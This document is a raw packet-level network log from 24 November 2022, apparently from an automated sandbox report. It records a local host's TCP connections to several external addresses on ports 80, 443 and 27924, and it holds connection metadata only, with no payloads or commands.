Nov 24, 2022 13:27:53.393737078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393748045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393758059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393767118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393774033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393785000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393790960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393802881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393809080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393816948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393826008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393832922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393841028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393850088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393857956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393867016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393877029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393884897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393896103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393904924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393913031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393923998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393929958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393942118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.393948078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393965006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.393980026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.452032089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.452116013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.452120066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.452195883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.452198029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.452240944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.452243090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.452280045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.452302933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.452320099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.452323914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.452367067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.452388048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.452409029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.452423096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.452433109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.452455997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.452574968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.471940994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.471973896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.471999884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472019911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472028017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472049952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472050905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472075939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472107887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472107887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472114086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472142935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472153902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472178936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472196102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472206116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472225904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472251892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472284079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472285032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472317934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472347975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472366095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472366095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472408056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472410917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472441912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472465992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472503901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472549915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472592115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472615004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472620010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472664118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472731113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472759008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472791910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472796917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.472827911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.472862959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.473047972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.473067999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.473076105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.473186016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.473186016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.473577023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.473625898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.473654985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.473681927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.473685026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.473709106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.473717928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.473747015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.473974943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:28:03.039813042 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:28:03.090604067 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:28:03.096873999 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:28:03.148009062 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:28:03.148444891 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:28:03.197968960 CET	27924	49700	37.220.87.2	192.168.2.4
Nov 24, 2022 13:28:03.261262894 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:28:03.325242996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:28:03.325464964 CET	49700	27924	192.168.2.4	37.220.87.2
Nov 24, 2022 13:28:25.919663906 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:25.919717073 CET	443	49704	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:25.919806957 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:26.019423962 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:26.019458055 CET	443	49704	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:26.074858904 CET	443	49704	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:26.074996948 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:27.172553062 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:27.172602892 CET	443	49704	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:27.173508883 CET	443	49704	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:27.173923016 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:27.178761959 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:27.178786993 CET	443	49704	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:27.364926100 CET	443	49704	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:27.369409084 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:27.369441986 CET	443	49704	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:27.370898962 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:27.377281904 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:27.377403975 CET	443	49704	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:27.377537966 CET	49704	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.098294973 CET	49705	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.098364115 CET	443	49705	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.098484039 CET	49705	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.098809958 CET	49705	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.098823071 CET	443	49705	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.098898888 CET	443	49705	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.104418993 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.104481936 CET	443	49706	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.104587078 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.159049034 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.159102917 CET	443	49706	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.205151081 CET	443	49706	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.205256939 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.213963985 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.213989973 CET	443	49706	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.214478016 CET	443	49706	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.215343952 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.216176987 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.216185093 CET	443	49706	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.263674021 CET	49707	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.263721943 CET	443	49707	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.263813019 CET	49707	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.264359951 CET	49707	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.264374018 CET	443	49707	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.264435053 CET	443	49707	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.325262070 CET	443	49706	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.325342894 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.325376034 CET	443	49706	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.325428963 CET	443	49706	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.325442076 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.325465918 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.327359915 CET	49706	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.327375889 CET	443	49706	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.373111010 CET	49708	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.373162985 CET	443	49708	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.373341084 CET	49708	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.373928070 CET	49708	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.373945951 CET	443	49708	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.374013901 CET	443	49708	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.448893070 CET	49709	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.448945045 CET	443	49709	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.449070930 CET	49709	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.449574947 CET	49709	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.449598074 CET	443	49709	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.482278109 CET	49710	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.482326031 CET	443	49710	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.482438087 CET	49710	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.482753038 CET	49710	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.482768059 CET	443	49710	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.482920885 CET	443	49710	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.499674082 CET	443	49709	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.500495911 CET	49709	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.503048897 CET	49709	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.503062010 CET	443	49709	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.507074118 CET	49709	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.507082939 CET	443	49709	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.591584921 CET	49711	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.591625929 CET	443	49711	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.591706991 CET	49711	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.593843937 CET	49711	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:29.593863010 CET	443	49711	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.593924046 CET	443	49711	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:29.620852947 CET	443	49709	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.620960951 CET	443	49709	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:29.621010065 CET	49709	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.621010065 CET	49709	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.621483088 CET	49709	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:29.621509075 CET	443	49709	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:30.264744997 CET	49712	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:30.264777899 CET	443	49712	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:30.265944004 CET	49712	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:30.266840935 CET	49712	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:30.266856909 CET	443	49712	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:30.266956091 CET	443	49712	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:30.276527882 CET	49713	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:30.276560068 CET	443	49713	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:30.276639938 CET	49713	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:30.277280092 CET	49713	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:30.277299881 CET	443	49713	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:30.338725090 CET	443	49713	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:30.338859081 CET	49713	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:30.350889921 CET	49713	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:30.350919008 CET	443	49713	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:30.355290890 CET	49713	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:30.355305910 CET	443	49713	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:30.467881918 CET	49714	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:30.467925072 CET	443	49714	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:30.468034983 CET	443	49713	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:30.468089104 CET	49714	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:30.468118906 CET	49713	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:30.468136072 CET	443	49713	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:30.468218088 CET	49713	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:30.468662024 CET	49714	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:30.468692064 CET	443	49714	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:30.468767881 CET	443	49714	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:30.471900940 CET	49713	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:30.471983910 CET	443	49713	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:30.472228050 CET	49713	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.155186892 CET	49715	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:31.155262947 CET	443	49715	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:31.155354023 CET	49715	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:31.155658960 CET	49715	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:31.155692101 CET	443	49715	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:31.155766010 CET	443	49715	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:31.231733084 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.231805086 CET	443	49716	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:31.231940031 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.236093044 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.236119032 CET	443	49716	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:31.301750898 CET	443	49716	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:31.301846027 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.314260006 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.314286947 CET	443	49716	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:31.314949036 CET	443	49716	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:31.315512896 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.316143036 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.316154957 CET	443	49716	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:31.373456955 CET	49717	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:31.373506069 CET	443	49717	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:31.373600960 CET	49717	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:31.373975992 CET	49717	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:31.373990059 CET	443	49717	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:31.374049902 CET	443	49717	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:31.411339045 CET	443	49716	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:31.411554098 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.411575079 CET	443	49716	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:31.411947966 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.446851969 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.446997881 CET	443	49716	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:31.447396994 CET	443	49716	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:31.447477102 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:31.447504044 CET	49716	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.202963114 CET	49718	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:32.203094006 CET	443	49718	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:32.203205109 CET	49718	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:32.203598976 CET	49718	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:32.203639030 CET	443	49718	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:32.203685045 CET	443	49718	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:32.214155912 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.214194059 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.214289904 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.214977026 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.214996099 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.258286953 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.258394957 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.266725063 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.266745090 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.267231941 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.267307997 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.271430016 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.271445036 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.358081102 CET	49720	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:32.358170986 CET	443	49720	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:32.358294010 CET	49720	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:32.358959913 CET	49720	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:32.358999968 CET	443	49720	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:32.359086037 CET	443	49720	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:32.374735117 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.374814987 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.374838114 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.374893904 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.375701904 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.375761032 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.376126051 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.376198053 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.416404963 CET	49719	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.416440010 CET	443	49719	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.543493032 CET	49721	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.543551922 CET	443	49721	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.543662071 CET	49721	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.556073904 CET	49721	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.556168079 CET	443	49721	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.566550970 CET	49722	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:32.566623926 CET	443	49722	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:32.566714048 CET	49722	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:32.567126036 CET	49722	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:32.567153931 CET	443	49722	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:32.567197084 CET	443	49722	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:32.604089022 CET	443	49721	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.604180098 CET	49721	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.635560989 CET	49721	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.635590076 CET	443	49721	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.640573978 CET	49721	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.640599012 CET	443	49721	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.723448992 CET	443	49721	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.723568916 CET	49721	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.723606110 CET	443	49721	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.723654985 CET	443	49721	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:32.723692894 CET	49721	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.723718882 CET	49721	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.732485056 CET	49721	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:32.732515097 CET	443	49721	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:33.093192101 CET	49723	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:33.093226910 CET	443	49723	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:33.093537092 CET	49723	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:33.094017982 CET	49723	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:33.094033957 CET	443	49723	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:33.094095945 CET	443	49723	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:33.205724955 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.205791950 CET	443	49724	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:33.205882072 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.206407070 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.206440926 CET	443	49724	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:33.255700111 CET	443	49724	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:33.255811930 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.262696028 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.262742996 CET	443	49724	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:33.267257929 CET	49724	443	192.168.2.4	172.66.40.196
Nov 24, 2022 13:28:33.267276049 CET	443	49724	172.66.40.196	192.168.2.4
Nov 24, 2022 13:28:33.298765898 CET	49725	443	192.168.2.4	51.195.77.210
Nov 24, 2022 13:28:33.298806906 CET	443	49725	51.195.77.210	192.168.2.4
Nov 24, 2022 13:28:33.298890114 CET	49725	443	192.168.2.4	51.195.77.210
